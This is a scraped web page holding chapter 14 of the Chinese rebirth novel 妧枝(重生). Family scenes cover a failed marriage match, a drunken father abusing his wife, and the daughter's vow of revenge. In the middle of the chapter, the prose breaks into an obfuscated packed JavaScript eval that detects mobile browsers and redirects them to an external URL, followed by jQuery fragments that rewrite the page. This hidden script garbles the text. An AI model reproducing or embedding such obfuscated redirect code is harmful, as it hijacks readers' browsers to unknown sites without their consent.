14.第 14 章

作品:《妧枝(重生)

    出了濉安王府,在夜行的马车中,周老夫人和历常珽对坐在两旁。


    车窗半开,可以看到途径的夜市人满为患,街头到巷尾都散发着人间烟火气。


    待到有风吹进来,有一丝凉意,周老夫人咳了咳,历常珽立时便关上窗。


    然而周老夫人道:“关上作甚,外边儿多热闹,我还没看够呢。”


    历常珽:“历来街上就是如此景象,祖母怎会没看够呢?春还料峭,还是别吹凉了。”


    “你今日倒是奇怪,竟然关心起我的身子来了。”


    周老夫人讶异地看向外孙子。


    既然打开话匣子,周老夫人说:“你且用不着担心我,我老婆子即使一把年纪,可能走能走,能睡能吃,还有一把力气,可硬朗着。”


    “你还是多关心关心你自个儿的终身大事,免得叫我这老婆子心中老是惦记。”


    历常珽似是近来也被说的耳朵起茧了,立时苦笑一声,“祖母,缘分不可强求。”


    然而周老夫人一听他这话,便如春耕中的老黄牛,浑身都受刺激般,有了劲儿。


    “缘分缘分,看对眼的是缘分,看不对眼的就是有缘无分!你这不喜欢,那不喜欢,我如何知晓你中意哪一类的女子?”


    “你还不听媒妁之言,是学了你小姨母家的大郎吧!他亦是驳了你姨父姨母为他相看的亲事,连妧家那小娘子都嫌弃,真不知眼界该高到何处去?!”


    历常珽心念一动,逐字逐眼地重复:“榷安嫌弃妧枝?这是怎么回事?”


    周老夫人叹了口气,回想起同濉安王妃回到后院时说的话。


    “是啊,你也觉着荒唐吧,这说起来他们才是真的有缘无分呐。”


    白日里隅中时,濉安王妃将周老夫人从茶厅哄走。


    二人到后宅濉安王妃的院子里歇息,还未坐稳,周老夫人便听这个侄女责怪道:“阿姑今日这是做什么?不是来替三郎四郎掌掌眼的吗?”


    “怎么偏来捣乱,将妧家的说给常珽呢?”


    周老夫人毫不心虚,“男未婚女未嫁,为何说不得,我这不是瞧她生得标致,难得一见,可不就一时鬼迷了心窍了。”


    似是不愿多与这个阿姑计较,濉安王妃哀叹一声,道:“总之阿姑不许再这般胡闹了。我们王府和妧家这门亲事,结得可不容易,万不能再出事端了。”


    “瞧你这副颜色,大好的喜事为何还要愁眉苦脸,什么事端?这又从何说起?”


    “阿姑可知,妧枝刚开始是给谁相看的?府中除了二郎已有妻子,三郎四郎都未成婚,五郎还小得很。大郎回家一年,在朝堂上深受圣上器重,婚姻大事却还没有照落……”


    濉安王妃深深盯着周老夫人,“所以这妧枝,一开始就是给榷安相配的!”


    “其父在中书省颇具威望,每呈上去的谏议都得圣上和老臣们的同意,官位不高,但也是个在朝堂说得上话的臣子。”


    “他治家严谨,清贫却也孤高,想来养的女儿也是个贤惠的,榷安性子冷傲,还在为当年的事记恨我们,选个贤惠温柔的女郎最好。官位更不需多高,免得压在榷安头上一筹,就是考虑到这番,王爷才有了和妧家结亲的心思。”


    “可惜,你猜结果如何?我们百般为他打算,榷安却不领情,生生毁了这门亲事。说是,即使硬要把这妧娘子嫁给他,她也是要守活寡的!”


    ……


    马车中,静默无声。


    直到片刻,周老夫人不停惋惜,“我当妧家这娘子有多不好,可我今日一看,人家不仅生得好,还送你小姨母亲手做的梨花膏。可不是有心了,奈何榷安?唉。”


    历常珽:“那为何之后又相看给三郎四郎?”


    “这……”周老夫人也觉着疑惑,“你小姨母说是,妧家来登门追问这亲事要如何处置,是不是要失了信誉。你小姨父为了不伤同僚情谊,自觉亏欠妧家,于是就想了个法子,把议亲的人选换成了他们。”


    “三郎四郎都到了适婚的年纪,虽说还算尚早,但也的确该谈婚论嫁了,为了弥补,就让妧家自己来相看,看这最后到底选谁做女婿。就当是赔罪。”


    “原来这当中还有这番缘故。”听完历常珽道。


    周老夫人点头,言谈间颇有些怜惜的味道,“可不是,这妧枝我看倒也不差,还是可怜人。”


    “若是她未曾相看上三郎跟四郎,不如常珽你把她娶回家罢了,我看她身姿都与你相配……”


    历常珽难掩震惊和周老夫人四目相对。


    “祖母?!”


    “好了,别叫别叫,我这不是浑说么?”


    周老夫人挥挥手,仿佛刚才说的胡话都不存在,之后堵着气打开自己这边的窗户,看向窗外。


    气氛渐渐安静,唯独坐在另一边的历常珽,心中好像泛起波澜。


    京都城满城繁华,未有宵禁。


    时常有酒楼里的常客,在此饮酒作乐后不曾归家。


    富庶的就在此开间上房,浑身只剩酒臭味的便趴在桌上耍赖,直至醉死过去,被里面的下人扔到大街上已是常态。


    无论达官贵人,还是贫民百姓,风气皆是如此。


    丑时,夜深人寂,偶有一声鸡鸣。


    状元巷内,一顶软轿终于将人送至家,妧嵘带着满身酒气随意朝后面的轿夫挥了挥,然后粗暴不断地扣响家门。


    “来人。开门,都睡死了不成?”


    “还不快开门!”


    “再不开门,本官治你们个大不敬之罪!”


    院内即使在屋中,妧枝亦能听清妧嵘在大门外斥责呼来喝去的动静。


    隔壁妧柔今日念叨着想阿母了,平氏陪着她睡,眼下也因为半夜归家的妧嵘而惊醒。


    顾不得安抚几句,更担心引起丈夫不满,平氏匆匆披上外衣推门出去。


    屋门半开,一道身影从里走出来。


    平氏一赶到院门口,就看到宅子里的下人左右两边将醉醺醺的妧嵘架进来,只因去的太晚,守门的两人正受着妧嵘的口头上的教训。


    “该死的东西,下回再来晚了,就别想待在这个家里。”


    “早日把你们都发卖了,看你们还敢不敢怠慢了我。”


    待到平氏走到跟前劝说:“主家,可消消气吧,时候不早了,快随我回屋歇息吧。”


    本是好意在劝,却不想迎来的是妧嵘更多的辱骂,“你?你这槽糠之妻,我娶你是为了传宗接代,相夫教子。可你看看你给我生得什么孽子……”


    “哪来的你在这说话的份?”


    “……”


    下人不敢多嘴,硬生生听着醉酒后的主家对主母是怎样的不满,而像这样的情况平氏似是习以为常,并不少见。


    虽感难堪,困窘发抖,却还是得在妧嵘招呼时上前扶住他,一声“主家”已经是委屈至斯。


    平氏忍气吞声,在静谧空旷的夜晚和训斥叫骂下,与仆人一同将妧嵘送回后院屋子。


    结果一转身就看见妧枝,高举着一盏灯,冷冷看着妧嵘。


    恍惚中,平氏骤然心悸无比,仿佛以为自己看错了,那盏灯更像是妧枝手里的一把短匕,似要狠狠插进妧嵘的胸膛。


    “枝儿,你怎么出来了?快进去吧,回屋歇息。”


    “你阿父,我来照顾好他就是。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151517|163330||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>然而妧枝一动不动,眼神依旧直勾勾地盯着自己的父亲。


    方才外面妧嵘叫骂嚷嚷的声音,她都已听得清清楚楚。


    这个十恶不赦之人,罪大恶极背叛妻子,愧对子女忘恩负义的无耻之辈,不管上一世还是这一世,都是造成这个家所有人痛苦的罪魁祸首。


    终有一日,终有一日……她一定让他落到惨十倍百倍的下场。


    似是注意到那怀有恨意的眼神,妧嵘醉醺醺地抬起头,盯着隐入暗中的妧枝,“你,你这女子,岂敢用那样的目光瞪我?”


    “我,我可是你父亲。”


    妧枝充耳不闻,重新回到屋内。


    只听外面妧嵘还要继续撒泼,平氏极力阻拦,与下人一起劝解,这才将他拉走了。


    翌日一早。


    晨光熹微间,状元巷里逐渐响起车水马龙,左邻右坊晨起梳洗准备朝食的动静。


    车轮滚过平坦的街巷,在时不时传出的吆喝声中妧枝从榻上醒来。


    等到片刻后,下人正准备进院里请人,只见房门一开。


    女郎已经如日前一样,收拾好了自己。


    来到饭厅,妧枝目光一扫,饭桌上平氏和妧柔妧酨已经到齐,妧嵘但凡头天夜里宿醉,第二日绝无可能那么早起来。


    是以饭桌上氛围不同于有父亲在时那么紧绷。


    “阿姐来了。”


    妧枝照例摸了下妧柔的脑袋,同妧酨容色稍冷的点了下头。


    然后坐在平氏一旁,“阿母。”


    平氏脸上肉眼可见的两眼发青,面带倦意,还有下巴一小处,似有一块微微青紫的痕迹。


    在妧枝仔细观察过来时,平氏慌张地抬手用帕子遮挡住,然后转移话题,“怎么,你今日是要出去?我看你特意打扮了一番……”


    妧嵘酒后性子并不怎么好,可以说是在外面一副仁义君子模样,但到了家里平氏面前,总会忍不住动手。


    事后便用喝多了做借口,实际上还是因为他打心里厌弃平氏,恨她生了个不能给他长脸面的儿子,所以借机报复,以泄郁气。


    这些妧枝都看在眼里,只是平氏闪躲根本不想她多问,怕她问了又要生事为难,于是装作什么都没发现的样子。


    如常地端起碗,“是。”


    “去哪儿?是王府两位公子又来邀你了?还是……”


    倏然,门口进来下人打断,“主母,女郎,外面来了位不认识的人,前来送帖子来了。”


    妧枝和平氏的话语声一顿,母女相视一眼。


    “什么帖子?”


    妧枝做主道:“拿过来给我看看,对方可有说是谁家的下人?”


    “倒是有,说是八珍街玉环巷里的甘家。但派他来的,是家里的老夫人,姓周。”


    平氏在旁一无所知,茫然而疑惑地看着妧枝。


    妧枝却是微微一顿,“周老太君?”


    “这又是谁?你们怎么认识的?”昨日妧枝一到午食便归家了,还带了外面的吃食回来。


    说是王府送给他们的,平氏一高兴,便问了几句她在王府的细节。


    妧枝随意捏了几段便忽略了过去,只是未曾细提周老夫人那对祖孙。


    如今平氏一问,她才肯道:“是濉安王妃的姑姑,昨日我上门,她来王府做客,我们碰见了,说是我和她投缘,待我颇为和善。”


    平氏“呀”了一声,多了些许喜色,“那她送来帖子是什么意思,上面怎么说?”


    妧枝看着手中规格都颇具分量和典雅的帖子,顺着平氏的心意念出来,“周老夫人……她,问我今日是否有空,邀我去城中东林寺相见。”